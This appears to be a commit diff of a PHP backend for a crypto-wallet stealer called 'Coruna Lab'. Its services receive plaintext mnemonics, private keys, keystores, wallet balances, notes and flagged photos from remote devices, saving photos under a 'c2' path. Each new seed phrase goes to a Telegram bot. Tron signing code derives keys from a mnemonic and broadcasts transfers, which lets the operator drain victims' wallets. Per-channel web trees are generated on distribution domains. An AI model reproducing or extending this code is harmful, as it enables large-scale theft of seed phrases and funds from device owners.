This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
+107
View File
@@ -0,0 +1,107 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use FurqanSiddiqui\BIP39\BIP39;
use RuntimeException;
/**
* BIP39 seed + BIP32/BIP44 private-key derivation (secp256k1).
*/
final class Bip44
{
private const CURVE_ORDER = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141';
/**
* @return array{private_key: string, public_key_uncompressed: string}
*/
public static function derive(string $mnemonic, string $path): array
{
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
if (count($words) < 12) {
throw new RuntimeException('Invalid mnemonic');
}
$seed = BIP39::Words($words)->generateSeed();
[$key, $chain] = self::masterFromSeed($seed);
foreach (self::parsePath($path) as $index) {
[$key, $chain] = self::ckdPriv($key, $chain, $index);
}
$ec = new EC('secp256k1');
$pair = $ec->keyFromPrivate(bin2hex($key));
return [
'private_key' => bin2hex($key),
'public_key_uncompressed' => $pair->getPublic(false, 'hex'),
];
}
/** @return array{0: string, 1: string} binary key + chain code */
private static function masterFromSeed(string $seed): array
{
$I = hash_hmac('sha512', $seed, 'Bitcoin seed', true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
/**
* @return array{0: string, 1: string}
*/
private static function ckdPriv(string $kPar, string $cPar, int $index): array
{
if ($index & 0x80000000) {
$data = "\x00".$kPar.pack('N', $index);
} else {
$ec = new EC('secp256k1');
$pub = hex2bin($ec->keyFromPrivate(bin2hex($kPar))->getPublic(true, 'hex'));
$data = $pub.pack('N', $index);
}
$I = hash_hmac('sha512', $data, $cPar, true);
$IL = substr($I, 0, 32);
$IR = substr($I, 32, 32);
$n = gmp_init(self::CURVE_ORDER, 16);
$ki = gmp_mod(
gmp_add(gmp_init(bin2hex($IL), 16), gmp_init(bin2hex($kPar), 16)),
$n
);
if (gmp_cmp($ki, 0) === 0) {
throw new RuntimeException('Invalid derived key');
}
$key = hex2bin(str_pad(gmp_strval($ki, 16), 64, '0', STR_PAD_LEFT));
return [$key, $IR];
}
/** @return list<int> */
private static function parsePath(string $path): array
{
$path = trim($path);
if (str_starts_with($path, 'm/')) {
$path = substr($path, 2);
} elseif ($path === 'm') {
return [];
}
$out = [];
foreach (explode('/', $path) as $seg) {
if ($seg === '') {
continue;
}
$hardened = str_ends_with($seg, "'") || str_ends_with($seg, 'h') || str_ends_with($seg, 'H');
$num = (int) rtrim($seg, "'hH");
if ($hardened) {
$num |= 0x80000000;
}
$out[] = $num;
}
return $out;
}
}
+22
View File
@@ -0,0 +1,22 @@
<?php
namespace App\Services\Chain;
interface ChainDriver
{
public function chainId(): string;
public function deriveAddress(string $mnemonic, int $index = 0): string;
/**
* @return string txid
*/
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
/**
* @return string txid
*/
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
public function isValidAddress(string $address): bool;
}
@@ -0,0 +1,20 @@
<?php
namespace App\Services\Chain;
use InvalidArgumentException;
class ChainManager
{
public function __construct(
private readonly TronDriver $tron,
) {}
public function resolve(string $chain): ChainDriver
{
return match (strtolower($chain)) {
'tron', 'trx' => $this->tron,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
};
}
}
+103
View File
@@ -0,0 +1,103 @@
<?php
namespace App\Services\Chain;
use kornrunner\Keccak;
use RuntimeException;
final class TronAddress
{
public static function fromUncompressedPublicKey(string $publicKeyHex): string
{
$hex = strtolower($publicKeyHex);
if (str_starts_with($hex, '0x')) {
$hex = substr($hex, 2);
}
if (str_starts_with($hex, '04')) {
$hex = substr($hex, 2);
}
if (strlen($hex) !== 128) {
throw new RuntimeException('Expected uncompressed secp256k1 public key');
}
$hash = Keccak::hash(hex2bin($hex), 256);
$addrHex = '41'.substr($hash, -40);
return self::hexToBase58Check($addrHex);
}
public static function isValid(string $address): bool
{
if (! preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return false;
}
try {
$hex = self::base58CheckToHex($address);
} catch (\Throwable) {
return false;
}
return str_starts_with(strtolower($hex), '41') && strlen($hex) === 42;
}
public static function toHex(string $base58): string
{
return self::base58CheckToHex($base58);
}
public static function hexToBase58Check(string $hex): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$bin = hex2bin($hex);
if ($bin === false) {
throw new RuntimeException('Invalid hex');
}
$checksum = substr(hash('sha256', hash('sha256', $bin, true), true), 0, 4);
$bytes = $bin.$checksum;
$num = gmp_init(bin2hex($bytes), 16);
$encoded = '';
while (gmp_cmp($num, 0) > 0) {
[$num, $rem] = [gmp_div_q($num, 58), gmp_intval(gmp_mod($num, 58))];
$encoded = $alphabet[$rem].$encoded;
}
for ($i = 0, $len = strlen($bytes); $i < $len && $bytes[$i] === "\x00"; $i++) {
$encoded = '1'.$encoded;
}
return $encoded;
}
public static function base58CheckToHex(string $address): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$num = gmp_init(0);
for ($i = 0, $len = strlen($address); $i < $len; $i++) {
$pos = strpos($alphabet, $address[$i]);
if ($pos === false) {
throw new RuntimeException('Invalid base58 character');
}
$num = gmp_add(gmp_mul($num, 58), $pos);
}
$hex = gmp_strval($num, 16);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
// leading ones => leading zero bytes
for ($i = 0, $len = strlen($address); $i < $len && $address[$i] === '1'; $i++) {
$hex = '00'.$hex;
}
$bin = hex2bin($hex);
if ($bin === false || strlen($bin) < 5) {
throw new RuntimeException('Invalid address payload');
}
$payload = substr($bin, 0, -4);
$checksum = substr($bin, -4);
$expected = substr(hash('sha256', hash('sha256', $payload, true), true), 0, 4);
if (! hash_equals($expected, $checksum)) {
throw new RuntimeException('Invalid address checksum');
}
return bin2hex($payload);
}
}
+160
View File
@@ -0,0 +1,160 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
class TronDriver implements ChainDriver
{
public function chainId(): string
{
return 'tron';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
$derived = Bip44::derive($mnemonic, $this->path($index));
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$tx = $this->post('/wallet/createtransaction', [
'owner_address' => $from,
'to_address' => $to,
'amount' => (int) $sun,
'visible' => true,
]);
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$parameter = $this->encodeTransferParameter($to, $sun);
$ext = $this->post('/wallet/triggersmartcontract', [
'owner_address' => $from,
'contract_address' => $contract,
'function_selector' => 'transfer(address,uint256)',
'parameter' => $parameter,
'fee_limit' => (int) config('coruna.tron.fee_limit', 100_000_000),
'call_value' => 0,
'visible' => true,
]);
$tx = $ext['transaction'] ?? null;
if (! is_array($tx)) {
$msg = $ext['result']['message'] ?? ($ext['message'] ?? 'triggersmartcontract failed');
throw new RuntimeException(is_string($msg) ? $msg : 'triggersmartcontract failed');
}
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function isValidAddress(string $address): bool
{
return TronAddress::isValid($address);
}
private function path(int $index): string
{
return "m/44'/195'/0'/0/{$index}";
}
private function toSun(string $amount): string
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount)) {
throw new RuntimeException('Invalid amount');
}
$sun = bcmul($amount, '1000000', 0);
if (bccomp($sun, '0') <= 0) {
throw new RuntimeException('Amount must be positive');
}
return $sun;
}
private function encodeTransferParameter(string $toBase58, string $amountSun): string
{
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
$addressWord = str_pad($toHex, 64, '0', STR_PAD_LEFT);
$amountWord = str_pad(gmp_strval(gmp_init($amountSun, 10), 16), 64, '0', STR_PAD_LEFT);
return $addressWord.$amountWord;
}
/**
* @param array<string, mixed> $tx
*/
private function signAndBroadcast(array $tx, string $privateKeyHex): string
{
$txId = $tx['txID'] ?? null;
if (! is_string($txId) || $txId === '') {
throw new RuntimeException('Missing txID from node');
}
$signature = TronSigner::signTxId($privateKeyHex, $txId);
$tx['signature'] = [$signature];
$result = $this->post('/wallet/broadcasttransaction', $tx);
$ok = ($result['result'] ?? false) === true;
if (! $ok) {
$msg = $result['message'] ?? ($result['code'] ?? 'broadcast failed');
if (is_string($msg) && ctype_xdigit($msg)) {
$decoded = @hex2bin($msg);
$msg = $decoded !== false ? $decoded : $msg;
}
throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed');
}
return $txId;
}
/**
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
private function post(string $path, array $payload): array
{
$resp = $this->http()->post(rtrim((string) config('coruna.tron.full_node'), '/').$path, $payload);
if (! $resp->successful()) {
throw new RuntimeException('Tron node HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid Tron node response');
}
return $json;
}
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
}
return $req;
}
}
+33
View File
@@ -0,0 +1,33 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use RuntimeException;
final class TronSigner
{
/**
* Sign a Tron txID (sha256 hex of raw_data) → 65-byte hex signature (r||s||v).
*/
public static function signTxId(string $privateKeyHex, string $txIdHex): string
{
$txIdHex = strtolower(ltrim($txIdHex, '0x'));
if (strlen($txIdHex) !== 64) {
throw new RuntimeException('Invalid txID');
}
$ec = new EC('secp256k1');
$key = $ec->keyFromPrivate($privateKeyHex);
$sig = $key->sign($txIdHex, ['canonical' => true]);
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
$v = dechex($sig->recoveryParam & 0xff);
if (strlen($v) === 1) {
$v = '0'.$v;
}
return $r.$s.$v;
}
}
@@ -0,0 +1,74 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Log;
use RuntimeException;
use Symfony\Component\Process\Process;
class ChannelProjectService
{
/**
* Run tools/new_project.py to materialize public/web/{channelId}/.
* Domains come from config (系统设置 / env); script rebuilds sync only when domains changed.
*/
public function generate(string $channelId): void
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
throw new RuntimeException('Invalid channel id');
}
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($domains === []) {
throw new RuntimeException('投放域名未配置(系统设置 → 投放域名)');
}
$labRoot = dirname(base_path()); // coruna-lab/
$script = $labRoot.'/tools/new_project.py';
if (! is_file($script)) {
throw new RuntimeException('new_project.py not found');
}
$joined = implode(',', $domains);
$cmd = [
'python3',
$script,
'--channel-id',
$channelId,
'--deployment-domains',
$joined,
'--reporting-domains',
$joined,
];
$process = new Process($cmd, $labRoot);
$process->setTimeout(600);
$process->run();
if (! $process->isSuccessful()) {
Log::error('new_project failed', [
'channel_id' => $channelId,
'out' => $process->getOutput(),
'err' => $process->getErrorOutput(),
]);
$this->deleteWebTree($channelId);
throw new RuntimeException(
'生成渠道资源失败: '.trim($process->getErrorOutput() ?: $process->getOutput() ?: 'unknown')
);
}
}
public function deleteWebTree(string $channelId): void
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
return;
}
$dir = public_path('web/'.$channelId);
if (is_dir($dir)) {
File::deleteDirectory($dir);
}
}
}
+301 -122
View File
@@ -7,8 +7,10 @@ use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -153,11 +155,12 @@ class IngestService
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
$device->forceFill(['updated_at' => now()])->saveQuietly();
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
@@ -165,7 +168,7 @@ class IngestService
$device->save();
}
return $device;
return $device->refresh();
}
/**
@@ -232,141 +235,207 @@ class IngestService
]);
}
public function ingestWalletSecrets(Device $device, ?array $payload): void
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$mnemonic = null;
$priv = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
$secret = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key];
$secret = trim($payload[$key]);
break;
}
}
if ($mnemonic === null && $priv === null) {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
if ($secret === null || $secret === '') {
return;
}
$wallet = new Wallet([
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
'mnemonic_hash' => $hash,
]);
$wallet->mnemonic = $mnemonic;
$wallet->privkey = $priv;
$wallet->save();
$isNew = ! $row->exists;
$source = WalletSource::fromTag($payload['a'] ?? null);
$row->source = $source;
$row->mnemonic = $secret;
$row->save();
if ($isNew) {
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
}
}
/**
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
*/
public function ingestKeystore(Device $device, ?array $payload): void
{
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
return;
}
$result = $payload['result'];
if (is_string($result)) {
$decoded = json_decode($result, true);
if (is_array($decoded)) {
$result = $decoded;
}
}
if (! is_array($result) && ! is_string($result)) {
return;
}
WalletKeystore::query()->create([
'device_id' => $device->id,
'raw_json' => is_array($result) ? $result : ['value' => $result],
]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$rows = [];
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
$source = WalletSource::fromTag($payload['a'] ?? null);
$rows = $this->normalizeStatusAddressRows($payload);
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
$notify = [];
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! $address || ! is_string($address)) {
if (! is_string($address) || $address === '') {
continue;
}
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
$chainType = (string) ($row['chain_type'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$balance = $row['balance'] ?? '';
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
if (! is_array($balance) && ! is_string($balance)) {
$balance = '';
}
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('chain', $chain)
->where('source', $source)
->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
[
'balance' => $balance,
'symbol' => $symbol,
'meta_json' => $row,
]
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$beforeCoins = $existing?->coinSnapshot();
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
$attrs = ['chain_type' => $chainType];
foreach ($coinAttrs as $col => $value) {
$attrs[$col] = $value;
}
if (! $existing) {
$attrs['monitor'] = 0;
}
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'source' => $source],
$attrs
);
$balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
if ($shouldNotify) {
$notify[] = [
'address' => $address,
'chain' => $chainType,
'balance' => $balanceSummary,
'source' => $source,
];
}
unset($addr);
}
if ($notify !== []) {
$this->telegram->notifyNewWallets($device->device_id, $notify);
}
}
/**
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
return;
}
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
if (! is_array($notes)) {
Note::query()->create([
'device_id' => $device->id,
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
$list = $payload['list'];
if (! is_array($list)) {
$list = [$list];
}
return;
}
$list = array_is_list($notes) ? $notes : [$notes];
foreach ($list as $note) {
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
Note::query()->create([
'device_id' => $device->id,
'content' => array_values($list),
]);
}
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
/**
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
*
* @return array{0: ?int, 1: ?int}
*/
public static function decodeHexCounterPair(mixed $packed): array
{
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
return [null, null];
}
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
}
/**
* @param array{
* x_hit?: ?int,
* upload_count?: ?int,
* process_index?: ?int,
* text_count?: ?int,
* barcode_count?: ?int
* } $meta
*/
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
{
$notifiedNewSensitive = false;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
// Same file content → skip DB insert & telegram (idempotent).
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
continue;
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
$xHit = $meta['x_hit'] ?? null;
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'counters_json' => $counters,
'x_hit' => $xHit,
'upload_count' => $meta['upload_count'] ?? null,
'process_index' => $meta['process_index'] ?? null,
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
$this->telegram->notifyNewPhotos($device->device_id);
$notifiedNewSensitive = true;
}
}
}
@@ -425,37 +494,43 @@ class IngestService
return null;
}
private function looksLikeMnemonic(string $value): bool
/**
* Normalize `/api/user/status` shapes into address rows.
*
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeStatusAddressRows(array $payload): array
{
$words = preg_split('/\s+/', trim($value)) ?: [];
return in_array(count($words), [12, 15, 18, 21, 24], true)
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
$ba = $payload['ba'] ?? null;
if (is_string($ba)) {
$decoded = json_decode($ba, true);
$ba = is_array($decoded) ? $decoded : null;
}
if (isset($data['address'])) {
return [$data];
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
if (is_array($ba)) {
return $this->normalizeBaAddressRows($ba);
}
return $out;
$ad = $payload['ad'] ?? null;
if (is_string($ad)) {
$decoded = json_decode($ad, true);
$ad = is_array($decoded) ? $decoded : null;
}
if (is_array($ad)) {
return $this->normalizeAdAddressRows($ad);
}
if (isset($payload['data']) && is_array($payload['data'])) {
return $this->normalizeLegacyDataRows($payload['data']);
}
return [];
}
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeBaAddressRows(array $ba): array
{
@@ -464,25 +539,129 @@ class IngestService
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
$balance = [];
$chainType = '';
foreach ($assets as $asset) {
if (! is_array($asset)) {
continue;
}
if ($chainType === '') {
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
}
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$balance[$symbol] = WalletSource::formatBalance(
$asset['balance'] ?? 0,
$asset['decimal'] ?? $asset['decimals'] ?? null
);
}
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
'chain_type' => strtoupper($chainType),
'balance' => $balance,
];
}
return $out;
}
/**
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
* Trust: [ { address, symbol, balance, decimals }, ... ]
*
* @param array<mixed> $ad
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
*/
private function normalizeAdAddressRows(array $ad): array
{
if (array_is_list($ad)) {
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
$byAddr = [];
foreach ($ad as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
if (! isset($byAddr[$address])) {
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chain === '') {
$chain = WalletSource::inferChainType($address);
}
$byAddr[$address] = [
'address' => $address,
'chain_type' => strtoupper($chain),
'balance' => [],
];
}
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
$item['balance'] ?? $item['value'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
);
}
return array_values($byAddr);
}
// Global Wallet: address → opaque scalar (not balance) → store empty string
$out = [];
foreach ($ad as $address => $value) {
if (! is_string($address) || $address === '') {
continue;
}
$out[] = [
'address' => $address,
'chain_type' => WalletSource::inferChainType($address),
'balance' => '',
];
}
return $out;
}
/**
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
*
* @param array<mixed> $data
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeLegacyDataRows(array $data): array
{
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
$out = [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
$out[] = [
'address' => $address,
'chain_type' => strtoupper($chainType),
'balance' => [
$symbol => WalletSource::formatBalance(
$item['balance'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
),
],
];
}
+140
View File
@@ -0,0 +1,140 @@
<?php
namespace App\Services;
use App\Models\Setting;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Schema;
class SettingsService
{
public const KEYS = [
'telegram.bot_token',
'telegram.owner_chat_id',
'channels.max_per_agent',
'channels.domains',
];
/** @return array<string, string|null> */
public function all(): array
{
$out = [];
foreach (self::KEYS as $key) {
$out[$key] = $this->get($key);
}
return $out;
}
public function get(string $key, ?string $default = null): ?string
{
if (! $this->tableReady()) {
return $default;
}
$map = $this->cachedMap();
return array_key_exists($key, $map) ? $map[$key] : $default;
}
/**
* @param array<string, mixed> $values
*/
public function putMany(array $values): void
{
foreach ($values as $key => $value) {
if (! in_array($key, self::KEYS, true)) {
continue;
}
$str = $value === null ? null : trim((string) $value);
Setting::query()->updateOrCreate(
['key' => $key],
['value' => $str === '' ? null : $str]
);
}
Cache::forget($this->cacheKey());
$this->applyToConfig();
}
public function applyToConfig(): void
{
if (! $this->tableReady()) {
return;
}
$map = $this->cachedMap();
$bot = $map['telegram.bot_token'] ?? null;
if ($bot !== null && $bot !== '') {
config([
'coruna.telegram.bot_token' => $bot,
'nutgram.token' => $bot,
]);
}
$chat = $map['telegram.owner_chat_id'] ?? null;
if ($chat !== null && $chat !== '') {
config(['coruna.telegram.owner_chat_id' => $chat]);
}
$max = $map['channels.max_per_agent'] ?? null;
if ($max !== null && $max !== '' && is_numeric($max)) {
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
}
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
config(['coruna.channel_domains' => self::parseDomains($map['channels.domains'])]);
}
}
/** Effective values for the settings form (DB overrides env). */
public function effectiveForForm(): array
{
$domains = config('coruna.channel_domains', []);
return [
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
];
}
/** @return list<string> */
public static function parseDomains(?string $raw): array
{
if ($raw === null || trim($raw) === '') {
return [];
}
$parts = preg_split('/[\s,;]+/', trim($raw)) ?: [];
return array_values(array_filter(array_map(static function ($d) {
$d = trim((string) $d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
$d = rtrim($d, '/');
return $d;
}, $parts)));
}
/** @return array<string, string|null> */
private function cachedMap(): array
{
return Cache::remember($this->cacheKey(), 300, function () {
return Setting::query()->pluck('value', 'key')->all();
});
}
private function cacheKey(): string
{
return 'coruna.settings.map';
}
private function tableReady(): bool
{
try {
return Schema::hasTable('settings');
} catch (\Throwable) {
return false;
}
}
}
+81 -9
View File
@@ -2,6 +2,7 @@
namespace App\Services;
use App\Models\WalletMnemonic;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
@@ -25,6 +26,7 @@ class TelegramNotifier
[
'chat_id' => $chatId,
'text' => $text,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true,
]
);
@@ -40,21 +42,91 @@ class TelegramNotifier
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'[Coruna Lab] New device',
'id: '.$deviceId,
'ios: '.($ios ?: '—'),
'ip: '.($ip ?: '—'),
'📱 <b>New Device</b>',
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
]));
}
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
{
$this->notifyNewWallets($deviceId, [[
'address' => $address,
'chain' => $chain ?: '',
'balance' => $balance ?: '',
'source' => $symbol ?: '',
]]);
}
/**
* Batch wallet alerts into a single Telegram message.
*
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
*/
public function notifyNewWallets(string $deviceId, array $wallets): void
{
if ($wallets === []) {
return;
}
$lines = [
